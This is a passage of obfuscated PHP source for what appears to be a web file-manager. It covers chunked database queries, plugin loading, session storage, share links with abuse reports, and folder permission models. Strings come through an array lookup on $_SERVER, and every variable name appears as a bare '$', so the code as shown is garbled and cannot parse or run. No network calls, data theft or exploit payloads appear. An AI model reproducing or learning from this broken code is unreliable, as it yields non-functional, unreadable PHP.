"; if ($ == $ || $ == $ - 1) { $ = implode($[50], $); $ .= " END  WHERE {$[0]} IN ({$}) "; $this->execute($); $ = 0; $ = $; $this->chunkEventCheck(count($)); $ = array(); } } $this->chunkEventSet(); } public function saveAllEach($) { $ =& $_SERVER[]; $ = $this->tablePrefix . $this->tableName; foreach ($ as $) { if (!is_array($) || count($) != 4) { continue; } $ = $[0] . $[467] . $[1] . $[121]; $ = $[2] . $[467] . $[3] . $[121]; $ = "update {$} set {$} where {$};"; $this->execute($); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($ = false, $ = false) { $this->_chunkEvent = $; $this->_chunkEventParam = $; } private function chunkEventCheck($) { if (!$this->_chunkEvent) { return; } $ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $[$_SERVER[][468]] = $; Hook::trigger($this->_chunkEvent, $); } public function addAll($, $ = array(), $ = false) { $ =& $_SERVER[]; ignore_timeout(); $ = self::SQL_WHERE_IN_CHUNK; if (empty($)) { $this->error = think_lang($[360]); return !1; } $ = $this->_parseOptions($); foreach ($ as $ => $) { $[$] = $this->_facade($); $this->_beforeInsert($[$], $); } if (method_exists($this->db, $[361])) { for ($ = 0; $ < count($); $ += $) { $ = array_slice($, $, $); if (!is_array($) || count($) == 0) { break; } $ = $this->db->insertAll($, $, $); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($ as $ => $) { $ = $this->db->insert($, $, $); } $this->commit(); } if (!1 !== $) { $ = $this->getLastInsID(); if ($) { return $; } } return $; } public function save($ = '', $ = array()) { $ =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$) { return parent::save($, $); } $ = 0; $ = $[$[364]][$][1]; $ = is_array($) ? $ : array(); $ = count($); for ($ = 0; $ < $; $ += $) { $ = array_slice($, $, $); if (!is_array($) || count($) == 0) { break; } $[$[364]][$][1] = $; $this->optionsValue($); $ += parent::save($, $); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); return $; } public function add($ = '', $ = array(), $ = false) { if ($this->addTaskStatus && is_array($)) { $this->addTaskData[] = $; return; } return parent::add($, $, $); } public function parseWhereLike($, $ = '', $ = false, &$ = false) { $ =& $_SERVER[]; $ = $GLOBALS[$[6]][$[469]]; if (!$[$[470]]) { return $; } if (!is_array($)) { return $; } $ = array(); $ = 0; foreach ($ as $ => $) { if (is_array($) && count($) == 2 && $[0] == $[471] && is_string($[1]) && substr($[1], 0, 1) == $[472] && substr($[1], strlen($[1]) - 1, 1) == $[472]) { $ = !0; $ = is_string($) ? $ : $; $ = substr($[1], 1, strlen($[1]) - 2); $ = $this->db->escapeString($); if (!strpos($, $[10])) { $ = $[473] . $ . $[473]; } $ = $[223] . $ . $[223]; $ = str_replace(array($[10], $[474], $[11]), $[475], $); if ($[$[476]]) { $ = $[477] . $ . $[478]; if ($[$[479]]) { $ = $[478] . $ . $[477]; } } $[$] = $[480] . $ . $[481] . $ . $[482]; $++; continue; } if (is_array($)) { $ = is_string($) ? $ : $; $ = $this->parseWhereLike($, $, !0, $); } if (is_numeric($)) { $[$] = $; $++; } else { $[$] = $; } } if ($ && !$) { } return $; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($ = array()) { $ =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$ || isset($[$[379]]) || isset($[$[440]])) { return parent::select($); } $ = $[$[364]][$][1]; $ = is_array($) ? $ : array(); $ = null; for ($ = 0; $ < count($); $ += $) { $ = array_slice($, $, $); if (!is_array($) || count($) == 0) { break; } $[$[364]][$][1] = $; $this->optionsValue($); $ = parent::select($); if (!$) { continue; } $ = is_array($) ? $ : array(); $ = array_merge($, $); } return $; } public function delete($ = array()) { $ =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$) { return parent::delete($); } $ = 0; $ = $[$[364]][$][1]; $ = is_array($) ? $ : array(); for ($ = 0; $ < count($); $ += $) { $ = array_slice($, $, $); if (!is_array($) || count($) == 0) { break; } $[$[364]][$][1] = $; $this->optionsValue($); $ += parent::delete($); } return $; } private function findWhereField($) { $ =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; if (!is_array($) || !is_array($[$[364]])) { return !1; } foreach ($[$[364]] as $ => $) { if (is_array($) && isset($[0]) && is_string($[0]) && strtolower($[0]) == $[7] && is_array($[1]) && count($[1]) > $) { ignore_timeout(); return $; } } return !1; } public function setMasterDB($ = true) { think_config($_SERVER[][483], $); } } goto f; c: class PluginModel extends ModelBaseLight { public $optionType = "System.pluginList"; public $field = array("name", "status", "regiest", "config"); public function loadList($ = false) { $ = array_to_keyvalue($this->listData(), $_SERVER[][32]); if ($) { return $[$]; } return $; } public function init() { $ =& $_SERVER[]; Hook::trigger($[2116]); $ = $this->loadPluginList(); foreach ($ as $ => $) { $ = $this->appAllow($, $); if (!$) { continue; } foreach ($[$[2117]] as $ => $) { Hook::bind($, $); } } Hook::trigger($[2118]); Hook::trigger(ACTION); } public function appAllow($, $, $ = true) { $ =& $_SERVER[]; $ = PLUGIN_DIR . $ . $[2119]; if (!is_array($) || !is_array($[$[2117]]) || $[$[840]] != 1 || !is_file($)) { return !1; } if (KodUser::isRoot()) { if ($GLOBALS[$[6]][$[2120]] || !$GLOBALS[$[6]][$[2121]]) { return !0; } $ = explode($[50], strtolower($GLOBALS[$[6]][$[2121]])); return in_array(strtolower($), $) ? !1 : !0; } if ($ && !Action($[2122])->checkAuth($)) { return !1; } return !0; } public function unInstall($) { $ =& $_SERVER[]; $ = $this->loadList($); if (file_exists(PLUGIN_DIR . $)) { Hook::apply($ . $[2123]); } $this->remove($[$[487]]); } public function changeStatus($, $) { $ =& $_SERVER[]; $ = $this->loadList($); if ($) { Hook::apply($ . $[2124]); } $this->update($[$[487]], array($[2125] => $)); } public function appRegist($, $) { $ =& $_SERVER[]; $ = $this->loadList($); if ($) { $this->update($[$[487]], array($[2117] => $)); } else { $ = array($[32] => $, $[2117] => $, $[840] => 0, $[6] => $this->getConfigDefault($)); $this->insert($); } } public function getConfigDefault($) { $ =& $_SERVER[]; $ = array(); $ = $this->getPackageJson($); if (!$ && is_array($[$[2126]])) { return $; } foreach ($[$[2126]] as $ => $) { if (!isset($[$[462]]) || isset($[$])) { continue; } $[$] = $[$[462]]; } return $; } public function getPackageJson($) { return Hook::apply($ . $_SERVER[][2127]); } public function getConfig($, $ = false) { $ =& $_SERVER[]; $ = array(); $ = $this->loadList($); if ($ && is_array($[$[6]])) { $ = $[$[6]]; } if (!$ || $) { $ = $this->getConfigDefault($); } return $; } public function setConfig($, $ = false) { $ =& $_SERVER[]; $ = $this->loadList($); if (!$) { return !1; } $ = $[$[6]]; if ($ == !1) { $ = array(); $ = $this->getConfigDefault($); } foreach ($ as $ => $) { $[$] = is_string($) ? trim($) : $; } $this->update($[$[487]], array($[6] => $)); } public function viewList() { $ =& $_SERVER[]; $ = $this->loadList(); $this->pluginScan($); $ = $this->loadPluginList(); $ = array(); foreach ($ as $ => $) { $ = $; unset($[$[2117]], $[$[6]]); $ = PLUGIN_DIR . $[$[32]] . $[2119]; if (!is_file($)) { continue; } $ = Hook::apply($[$[32]] . $[2127]); if (!is_array($)) { continue; } $[$] = array_merge($, $); if ($[$[6]][$[1702]] != $[$[1676]]) { Hook::apply($[$[32]] . $[2124]); $[$[6]][$[1702]] = $[$[1676]]; $this->update($[$[487]], array($[6] => $[$[6]])); } } return $; } private function loadPluginList() { $ =& $_SERVER[]; $ = $this->loadList(); if (strtolower(MOD) == $[2128]) { return $; } $ = Hook::trigger($[2129], $); if ($ && !$) { die; } return $ ? $ : $; } private function pluginScan($) { $ =& $_SERVER[]; recursion_dir(PLUGIN_DIR, $, $, 0); foreach ($ as $) { $ = get_path_this($); if (isset($[$]) || !file_exists($ . $[2130]) || !file_exists($ . $[2119])) { continue; } Hook::apply($ . $[2124]); } } } class SessionModel extends ModelBase { protected $tableName = "system_session"; public function get($) { $ =& $_SERVER[]; $ = $this->where(array($[2131] => $))->find(); if (!is_array($)) { return !1; } return $[$[171]]; } public function set($, $, $ = 3600) { $ =& $_SERVER[]; $ = array($[2131] => $, $[2031] => $, $[2132] => $ + time()); if (Session::get($[2133])) { $[$[1791]] = Session::get($[2133]); } else { $[$[1791]] = 0; } if ($this->get($)) { return $this->where(array($[2131] => $))->save($); } else { return $this->add($, array(), !0); } } public function remove($) { return $this->where(array($_SERVER[][2131] => $))->delete(); } public function clearTimeout() { return $this->where($_SERVER[][2134] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "share"; protected $dataAuto = array(array("modifyTime", "time", "insert,update", "function"), array("createTime", "time", "insert", "function"), array("options", '', "insert,update,select", "json")); private $fieldList = "*"; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; $ = isset($[0]) ? $[0] : !1; $ = $[2135] . USER_ID; return array($[2136] => array(USER_ID, $[2137]), $[2076] => array($, $[2138], $)); } protected function listSimple() { $ = array($_SERVER[][1791] => USER_ID); $ = $this->field($this->fieldList)->where($)->select(); return $ ? $ : array(); } protected function getInfo($, $ = false, $ = '') { $ =& $_SERVER[]; if (!$) { $ = $[2135] . USER_ID; } if ($) { return $this->_getShareInfo(array($[682] => $)); } $ = $this->cacheFunctionGet($[2078], $, $); $ = $this->shareInfoMofify($, $[226]); if (isset($[$[88]]) && $ != $[$[88]]) { $ = $this->cacheKeyMake($[2078], $, $); $ = $this->_getShareInfo(array($[682] => $)); Cache::set($, $); } return $; } private function shareInfoMofify(&$, $ = "get") { $ =& $_SERVER[]; if (!$ || !isset($[$[682]])) { return; } $ = $[2139] . $[$[682]]; if ($ == $[226]) { return Cache::get($); } else { if ($ == $[2106]) { $ = Cache::get($); if ($ === $[$[88]]) { return; } $[$[2140]] = USER_ID . $[474] . $[$[88]]; Cache::set($, $[$[88]]); } else { if ($ == $[2141]) { Cache::remove($); } } } } public function getInfoByHash($) { return $this->_getShareInfo(array($_SERVER[][2142] => $)); } public function getInfoByPath($) { $ =& $_SERVER[]; $ = array($[1791] => USER_ID, $[194] => $); return $this->_getShareInfo($); } public function getInfoBySourcePath($) { $ =& $_SERVER[]; $ = array($[1791] => USER_ID, $[1273] => $); return $this->_getShareInfo($); } private function _getShareInfo($) { $ =& $_SERVER[]; $ = $this->where($)->find(); if (!$) { return !1; } $ = array($[682] => $[$[682]]); $ = $[2143]; $ = Model($[683])->order($[487])->field($)->where($)->select(); if ($[$[194]] == $[231]) { $[$[90]] = IO::info($[$[1273]]); } else { $[$[90]] = Model($[1437])->pathInfo($[$[194]]); } $[$[2144]] = $; $this->shareInfoMofify($, $[2106]); return $; } protected function getInfoAuth($) { $ =& $_SERVER[]; $ = $this->getInfo($); if ($[$[1791]] == USER_ID) { $[$[499]] = $[$[90]][$[499]]; } else { $[$[499]] = Model($[581])->authMake($[$[2144]]); } return $; } protected function listData($ = null, $ = 300) { $ =& $_SERVER[]; $ = array(array($[576] => array($[1105], 0), $[680] => array($[1105], 0), $[2145] => $[2094])); if ($ == $[2146]) { $ = array($[576] => 1); } else { if ($ == $[1258]) { $ = array($[680] => 1); } } $[$[1791]] = USER_ID; $ = $this->where($)->selectPage($); return $; } protected function listToMe($ = 300) { $ =& $_SERVER[]; $ = Model($[2147])->userGroupParents(USER_ID); $ = array($[665] => SourceModel::TYPE_USER, $[583] => USER_ID); if ($) { $ = array(array($[665] => SourceModel::TYPE_USER, $[583] => USER_ID), array($[665] => SourceModel::TYPE_GROUP, $[583] => array($[7], $)), $[2145] => $[2094]); } $ = Model($[683])->where($)->selectPage($); $ = array_to_keyvalue_group($[$[457]], $[682]); if (!$) { return $; } $ = $[2148]; $ = array($[682] => array($[504], array_keys($)), $[1791] => array($[1107], $[231])); $ = $this->field($)->where($)->select(); foreach ($ as $ => &$) { $[$[2144]] = $[$[$[682]]]; } unset($); $ = array($[2149] => $, $[2150] => $[$[454]]); return $; } protected function shareAdd($, $) { $ =& $_SERVER[]; $ = $this->_addShareData($, $); if (!empty($[$[2151]])) { $this->_shareAuthSet($, $[$[2151]]); } $this->shareEventAdd($, $, $[2152]); return $; } protected function shareAddSystem($, $) { $ =& $_SERVER[]; $ = $this->_addShareData($, $, $[192]); $this->_shareAuthSet($, $[$[2151]]); return $; } private function shareEventAdd($, $, $ = "add") { $ =& $_SERVER[]; if (!$ || $ == $[231]) { return; } if ($ == $[2152]) { if ($[$[576]] == $[91]) { Model($[650])->eventShare($, $[2153]); } if ($[$[680]] == $[91]) { Model($[650])->eventShare($, $[2154]); } return; } $ = $this->getInfoByPath($); $ = $[2155]; if ($[$[576]] == $[231] && $[$[576]] == $[91]) { $ = $[2153]; } if ($[$[576]] == $[91] && $[$[576]] == $[231]) { $ = $[2156]; } if ($[$[680]] == $[231] && $[$[680]] == $[91]) { $ = $[2154]; } if ($[$[680]] == $[91] && $[$[680]] == $[231]) { $ = $[2157]; } Model($[650])->eventShare($, $); return; } private function _addShareData($, $ = array(), $ = false) { $ =& $_SERVER[]; $ = $ == $[192] ? 0 : USER_ID; $ = array($[503] => $, $[1782] => $); if ($ == 0) { $ = array($[2158] => $[$[1273]], $[1782] => $); } if ($ = $this->where($)->find()) { return $[$[682]]; } if ($ == 0) { $ = array($[32] => get_path_this($[$[87]])); } else { $ = Model($[920])->sourceInfo($); if (!$) { return !1; } } if (!$[$[1677]]) { $[$[1677]] = $[$[32]]; } $ = array($[1782] => $, $[503] => $, $[1677] => $[12], $[576] => 0, $[680] => 0, $[1273] => $[12], $[394] => $[12], $[982] => $[12], $[2159] => 0, $[2160] => 0, $[851] => 0, $[2161] => $[12], $[2142] => $[12]); $ = explode($[50], $[2162]); foreach ($ as $) { if (!isset($[$])) { continue; } $[$] = $[$]; } $ = $this->add($); $ = array($[2142] => short_id($)); $this->where(array($[2163] => $))->save($); return $; } private function _shareAuthSet($, $) { $ =& $_SERVER[]; if (!is_array($)) { return !1; } $ = Model($[2104]); $->where(array($[682] => $))->delete(); $ = array(); foreach ($ as $) { $ = SourceModel::TYPE_USER; if ($[$[191]] == SourceModel::TYPE_GROUP) { $ = SourceModel::TYPE_GROUP; } $ = array($[682] => $, $[191] => $, $[583] => intval($[$[583]]), $[2100] => 0, $[2164] => -1); if ($[$[2100]]) { $[$[2100]] = $[$[2100]]; } else { if ($[$[2164]]) { $[$[2164]] = $[$[2164]]; } } $[] = $; } return $->addAll($, array(), !0); } public function numViewAdd($) { $ =& $_SERVER[]; $ = array($[2163] => $); $this->where($)->setAdd($[2159]); } public function numDownloadAdd($) { $ =& $_SERVER[]; $ = array($[2163] => $); $this->where($)->setAdd($[2160]); } protected function shareEdit($, $) { $ =& $_SERVER[]; $ = $this->getInfo($); if (!$) { return !1; } $this->_checkLinkShare($, $); $ = array(); $ = explode($[50], $[2165]); foreach ($ as $) { if (!array_key_exists($, $)) { continue; } $[$] = $[$]; } $this->shareEventAdd($[$[194]], $, $[1961]); $this->where(array($[2163] => $))->save($); if (isset($[$[2151]])) { $this->_shareAuthSet($, $[$[2151]]); } return !0; } private function _checkLinkShare($, $) { $ =& $_SERVER[]; if ($[$[576]] != $[91]) { return; } $ = $[$[90]][$[194]]; if ($[$[90]][$[33]] != $[233]) { $ = $this->_folderReport($); if (!$) { return; } show_json(LNG($[2166]) . $[2167] . $, !1); } $ = Model($[920])->fileInfoGet($[$[90]][$[194]]); if (!$) { return; } $ = $this->shareFileMeta($[$[555]]); if (isset($[$[462]]) && $[$[462]] == $[91]) { show_json(LNG($[2168]), !1); } } private function _folderReport($) { $ =& $_SERVER[]; $ = array($[555] => array($[1105], 0), $[840] => 3); $ = Model($[2169])->where($)->field($[555])->select(); if (!$) { return !1; } $ = array_to_keyvalue($, $[12], $[555]); $ = $[50] . $ . $[50]; $ = array($[555] => array($[7], $), $[598] => array($[471], "%{$}%"), $[517] => 0); $ = Model($[920])->where($)->field($[2170])->find(); if (!$) { return !1; } $ = substr($[$[598]], strpos($[$[598]], $)); $ = array($[194] => array($[7], trim($, $[50]))); $ = Model($[920])->where($)->field($[32])->select(); $ = array_to_keyvalue($, $[12], $[32]); $[] = $[$[32]]; return implode($[8], $); } protected function remove($) { $ =& $_SERVER[]; $ = is_array($) ? $ : array($); for ($ = 0; $ < count($); $++) { $ = $this->getInfo($[$]); if ($[$[680]] == $[91]) { Model($[650])->eventShare($[$[194]], $[2157]); } if ($[$[576]] == $[91]) { Model($[650])->eventShare($[$[194]], $[2156]); } $this->shareInfoMofify($, $[2141]); } $ = array($[682] => array($[7], $)); $ = $this->where($)->delete(); if ($) { Model($[683])->where($)->delete(); } return $; } protected function removeBySource($) { $ =& $_SERVER[]; $ = array($[503] => array($[504], $)); $ = $this->field($[682])->where($)->select(); $ = array_to_keyvalue($, $[12], $[682]); if (!$) { return; } foreach ($ as $) { $this->shareInfoMofify($, $[2141]); } $ = array($[2163] => array($[504], $)); $this->where($)->delete(); Model($[683])->where($)->delete(); } public function listAll($) { $ =& $_SERVER[]; $ = array(); if ($[$[1791]]) { $[$[1791]] = $[$[1791]]; } if ($[$[850]]) { $ = $[$[851]] ? $[$[851]] : strtotime(date($[2171])); $[$[234]] = array($[420], array($[$[850]], $)); } if ($[$[33]]) { $[$[$[33]]] = 1; } else { $[] = array($[576] => array($[1105], 0), $[680] => array($[1105], 0), $[2145] => $[2094]); } if ($[$[2090]]) { $[] = array($[2142] => $[$[2090]], $[1677] => array($[471], "%{$[$[2090]]}%"), $[2145] => $[2094]); } $ = $this->_makeOrder()->where($)->selectPage(20); if (empty($[$[457]])) { return array(); } $this->_listDataApply($[$[457]]); return $; } public function listDataApply($) { $this->_listDataApply($); return $; } private function _listDataApply(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1791]); $ = Model($[611])->userListInfo(array_unique($)); $ = array_to_keyvalue($, $[12], $[194]); $ = Model($[920])->sourceListInfo($, !0); foreach ($ as $ => &$) { $ = $[$[1791]]; $[$[2172]] = $[$] ? $[$] : !1; if (!$[$[2172]] || $[$[2172]][$[840]] != $[91]) { unset($[$]); continue; } $ = $[$[194]]; $[$[90]] = $[$] ? $[$] : !1; if ($[$[90]][$[517]] == $[91]) { unset($[$]); } if ($[$[90]] != $[231] && !$[$[90]]) { unset($[$]); } } unset($); $ = array_values($); } private function _makeOrder($ = '') { $ =& $_SERVER[]; $ = array($[234], $[851], $[2159], $[2160]); $ = array($[535] => $[536], $[537] => $[538]); $ = Input::get($[542], $[7], $[509], $); $ = Input::get($[543], $[7], $[2173], array($[2087], $[537])); $ = $[$]; $ = $ . "{$} {$}"; return $this->order($); } public function reportAdd($) { $ =& $_SERVER[]; $ = array($[682] => $[$[682]], $[1791] => USER_ID); if (Model($[2169])->where($)->find()) { return !1; } $ = array($[682] => $[$[682]], $[1677] => $[$[1677]], $[194] => $[$[194]], $[555] => $[$[555]], $[1791] => USER_ID, $[33] => $[$[33]], $[538] => $[$[538]]); return Model($[2169])->add($); } public function reportList($) { $ =& $_SERVER[]; $ = array(); if ($[$[850]]) { $ = $[$[851]] ? $[$[851]] : strtotime(date($[2171])); $[$[234]] = array($[420], array($[$[850]], $)); } if (isset($[$[33]]) && in_array($[$[33]], array($[91], $[522], $[2174], $[2175], $[2176]))) { $[$[33]] = $[$[33]]; } if (isset($[$[840]]) && in_array($[$[840]], array($[231], $[91], $[522], $[2174]))) { $[$[840]] = $[$[840]]; } $ = Input::get($[543], $[7], $[2173], array($[2087], $[537])); $ = array($[535] => $[536], $[537] => $[538]); $ = $[2177] . $[$]; $ = Model($[2169])->where($)->order($)->selectPage(20); if (empty($[$[457]])) { return array(); } $ = array_to_keyvalue_group($[$[457]], $[840], $[682]); if (!empty($[0])) { $ = $[0]; $ = array($[682] => array($[7], $)); $ = $this->where($)->field($[682])->select(); $ = array_to_keyvalue($, $[12], $[682]); $ = array_diff($, $); if (!empty($)) { foreach ($[$[457]] as $ => $) { if (in_array($[$[682]], $)) { unset($[$[457]][$]); } } } } $this->_listDataApply($[$[457]]); return $; } public function reportStatus($) { $ =& $_SERVER[]; $ = array($[487] => $[$[487]]); $ = Model($[2169])->where($)->field($[2178])->find(); if (!$) { return !1; } $ = array($[840] => $[$[840]]); if ($[$[840]] == $[2174] && $[$[840]] == $[2174]) { $[$[840]] = 0; } $ = Model($[2169])->where($)->save($); if ($[$[840]] == $[522]) { if ($[$[555]] != $[231] && $this->shareFileMeta($[$[555]])) { $this->shareFileMeta($[$[555]], 0); } $this->remove($[$[682]]); return !0; } if ($ && $[$[840]] == $[2174]) { $ = $[$[840]] == $[2174] ? 1 : 0; $this->shareFileMeta($[$[555]], $); $this->removeByFile($[$[555]]); } return $; } private function removeByFile($) { $ =& $_SERVER[]; $ = Model($[920])->where(array($[555] => $))->field($[194])->select(); $ = array_to_keyvalue($, $[12], $[194]); $ = array($[194] => array($[7], $), $[576] => 1); $ = $this->where($)->field($[682])->select(); if (empty($)) { return; } $ = array_to_keyvalue($, $[12], $[682]); $this->remove($); } private function shareFileMeta($, $ = null) { $ =& $_SERVER[]; $ = array($[555] => $, $[97] => $[2179]); if (is_null($)) { return Model($[2180])->where($)->find(); } $[$[462]] = $; Model($[2180])->add($, array(), !0); } } goto A; b: class SourceAuthModel extends ModelBase { protected $tableName = "io_source_auth"; public function getAuth($) { $ =& $_SERVER[]; $ = $this->sourceAuthSelect($); $ = array(); $ = array(); $ = 2 << 25; foreach ($ as $) { $ = Model($[585])->listData($[$[2100]]); if (!$) { continue; } $[] = $; $ = 0; if ($[$[191]] == SourceModel::TYPE_GROUP) { $ = $ * 2; } if ($[$[191]] == SourceModel::TYPE_USER) { $ = $; } if ($[$[191]] == SourceModel::TYPE_USER && $[$[583]] == $[231]) { $ = 0; } $[] = $[$[499]] + $; } array_multisort($, SORT_DESC, $); return $; } public function sourceAuthSelect($) { $ =& $_SERVER[]; static $ = array(); $ = is_array($) ? !1 : !0; if ($) { $ = array($); } $ = array(); foreach ($ as $) { if (isset($[$])) { $[$] = $[$]; } } if (count($) == count($)) { return $ ? $[$[0]] : $; } $ = $[2181]; $ = array($[194] => array($[7], $)); $ = $this->field($)->order($[487])->where($)->select(); $ = array_to_keyvalue_group($, $[194]); foreach ($ as $) { $[$] = $[$] ? $[$] : array(); } if ($) { return $; } return $; } public function setAuth($, $) { $ =& $_SERVER[]; $ = Model($[1437])->sourceInfo($); if (!$) { return !1; } if ($[$[191]] != SourceModel::TYPE_GROUP) { return !1; } $ = 1; $ = $[$[583]]; if ($ != $) { $ = array($[1992] => $); $ = Model($[2086])->field($[1791])->where($)->select(); $ = array_to_keyvalue($, $[12], $[1791]); } $ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $ = array(); foreach ($ as $) { if (!in_array($[$[191]], $)) { show_json(LNG($[2182]), !1); } if ($ != $) { if ($[$[191]] == SourceModel::TYPE_GROUP) { } if ($[$[583]] != 0 && !in_array($[$[583]], $)) { } } if ($[$[583]] == 0) { $[$[191]] = SourceModel::TYPE_USER; } $[] = array($[194] => $, $[191] => intval($[$[191]]), $[583] => intval($[$[583]]), $[2100] => intval($[$[2100]]) ? intval($[$[2100]]) : 0, $[2164] => intval($[$[2164]]) ? intval($[$[2164]]) : -1); } $this->where(array($[503] => $))->delete(); $this->addAll($); return !0; } public function authClear($) { $ =& $_SERVER[]; $ = Model($[1437])->sourceInfo($); $ = array($); if ($[$[497]] == $[91]) { $ = array($[669] => array($[629], $[$[598]] . $ . $[630])); $ = Model($[1437])->field($[503])->where($)->getField($[194], !0); $[] = $; } $this->where(array($[503] => array($[504], $)))->delete(); return !0; } public function getAllChildren($) { $ =& $_SERVER[]; $ = Model($[1437])->sourceInfo($); if ($[$[497]] != $[91]) { return $this->sourceListAuth(array($)); } if ($[$[191]] != SourceModel::TYPE_GROUP) { return array(); } $ = 1; $ = array($); if ($[$[193]] == $[231] && $[$[583]] != $) { $ = $this->groupChidldAllRootSource($[$[583]]); } $ = $this->field($[194])->group($[194])->select(); $ = array_to_keyvalue($, $[12], $[194]); if (!$) { return array(); } $ = $[2183]; $ = array($[194] => array($[7], $), $[517] => $[231]); $ = Model($[920])->field($)->where($)->select(); $ = array($); foreach ($ as $) { foreach ($ as $) { $ = $[50] . $ . $[50]; $ = $[$[598]] . $[$[194]] . $[50]; if (strstr($, $)) { $[] = $[$[194]]; break; } } } return $this->sourceListAuth($); } private function sourceListAuth($) { $ =& $_SERVER[]; $ = Model($[1437])->sourceListInfo($, !0); $ = $this->sourceAuthSelect($); $ = array(); $ = array(); foreach ($ as $) { unset($[$[541]]); unset($[$[539]]); unset($[$[499]]); unset($[$[90]]); $ = $[$[$[194]]]; if (!$) { continue; } $[$[2184]] = $this->authTargetInfo($); $[$[596]] = rtrim($[$[602]], $[8]) . $[8] . ltrim($[$[596]], $[8]); $[] = $; $ = count(explode($[8], trim($[$[596]], $[8]))); $[] = $ + ($[$[33]] == $[78] ? 0 : 1000); } array_multisort($, SORT_ASC, $); return $; } private function groupChidldAllRootSource($) { $ =& $_SERVER[]; $ = Model($[2185])->groupChildrenAll($); $ = array($[193] => 0, $[583] => array($[7], $), $[191] => SourceModel::TYPE_GROUP); $ = Model($[920])->field($[194])->where($)->select(); $ = array_to_keyvalue($, $[12], $[194]); return $; } private function authTargetInfo($) { $ =& $_SERVER[]; $ = array(); $ = array(); $ = 2 << 25; foreach ($ as $) { $ = Model($[585])->listData($[$[2100]]); if (!$) { continue; } if ($[$[191]] == SourceModel::TYPE_USER) { $ = Model($[591])->getInfoSimpleOuter($[$[583]]); if ($[$[1791]] == $[1289]) { continue; } if ($[$[1791]] == $[231]) { $[$[32]] = LNG($[2186]); } } else { $ = Model($[599])->getInfoSimple($[$[583]]); } if (!$) { continue; } $[$[554]] = $; $[] = $; $ = 0; if ($[$[191]] == SourceModel::TYPE_GROUP) { $ = $ * 2; } if ($[$[191]] == SourceModel::TYPE_USER) { $ = $; } if ($[$[191]] == SourceModel::TYPE_USER && $[$[583]] == $[231]) { $ = 0; } $[] = $[$[499]] + $; } array_multisort($, SORT_DESC, $); return $; } public function getAllChildrenByUser($, $) { $ =& $_SERVER[]; $ = Model($[611])->getInfo($); if (!$ || !$ || !$) { return array(); } $ = Model($[1437])->sourceInfo($); $ = array(); $ = 1; if ($[$[193]] == $[231] && $[$[583]] != $ && $this->groupContainUser($[$[583]], $)) { foreach ($[$[2187]] as $) { $ = Model($[599])->getInfo($[$[1992]]); $ = Model($[611])->getInfoSimpleOuter($); $[$[554]] = $[$[499]]; if (Model($[585])->authCheckAction($[$[499]][$[499]], $[2013])) { continue; } $ = array($[32] => $[1309] . $[$[32]], $[194] => $[$[90]][$[194]], $[87] => KodIO::make($[$[90]][$[194]]), $[193] => $[231], $[191] => $[592], $[33] => $[633], $[596] => $[$[603]], $[1992] => $[$[1992]], $[600] => $[$[193]], $[2184] => array($)); $[$[$[194]]] = $; } } $ = array(); $ = $this->getAllChildren($); foreach ($ as $) { $ = !1; foreach ($[$[2184]] as $) { if ($[$[1791]]) { if ($[$[1791]] == $) { $ = !0; break; } } if ($[$[1992]]) { if ($this->groupContainUser($[$[1992]], $)) { $ = !0; break; } } } if ($) { $[] = $; } $ = $[$[194]]; if (isset($[$])) { $[$[2184]][] = $[$][0]; $[$] = !1; } } $ = array_filter(array_values($)); $ = array_merge($, $); return $; } public function setAllChildrenByUser($, $, $) { $ =& $_SERVER[]; $ = $this->getAllChildrenByUser($, $); if (!$ || !$) { return !1; } foreach ($ as $) { $ = array(); foreach ($[$[2184]] as $) { $ = $[$[554]]; $ = $[$[1791]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $ = $[$[1791]] ? $[$[1791]] : $[$[1992]]; if ($[$[1791]] && $[$[1791]] == $) { continue; } $[] = array($[194] => $[$[194]], $[191] => $, $[583] => intval($), $[2100] => isset($[$[487]]) ? intval($[$[487]]) : 0, $[2164] => isset($[$[2164]]) ? intval($[$[2164]]) : -1); } $[] = array($[194] => $[$[194]], $[191] => SourceModel::TYPE_USER, $[583] => intval($), $[2100] => intval($), $[2164] => -1); $this->where(array($[503] => $[$[194]]))->delete(); $this->addAll($); } return !0; } public function get($) { $ = $this->getSourceList(array($), !0); return $[0]; } public function getSourceList($, $ = false, $ = false) { $ =& $_SERVER[]; if (!$) { return array(); } $ = Model($[1437]); if (!$ && count($) == 1) { $ = array(); $[$[0]] = $->sourceInfo($[0]); } if (!$) { $ = array($[503] => array($[504], $)); $ = $->field($[2188])->where($)->select(); $ = array_to_keyvalue($, $[194]); } $ = $; foreach ($ as $ => $) { $ = $->parentLevelArray($[$[598]]); $ = array_merge($, array($), array_reverse($)); } $ = array_values(array_unique($)); if (!$) { return array(); } $ = $this->sourceAuthSelect($); $ = array(); foreach ($ as $) { if (isset($[$])) { $[$] = $[$]; } } $ = $this->userIsRoot($); $ = AuthModel::authAll(); $ = array($[500] => $, $[2189] => array($[505] => 0, $[1998] => $, $[506] => LNG($[2190]), $[2015] => $[2191])); $ = array(); foreach ($ as $ => $) { if ($ && $GLOBALS[$[6]][$[2011]]) { $[$] = $; continue; } $[$] = $this->makeSourceAuth($, $, $); } return $; } public function authDeepCheck($, $ = false) { $ =& $_SERVER[]; $ = $ ? $ : USER_ID; $ = $this->makeAuthDeep($); if (!in_array($, $[$[2192]])) { return !1; } $ = array(); foreach ($[$[2193]] as $ => $) { if (!in_array($, $)) { continue; } $[] = $; } if (!$) { return !1; } $ = $ 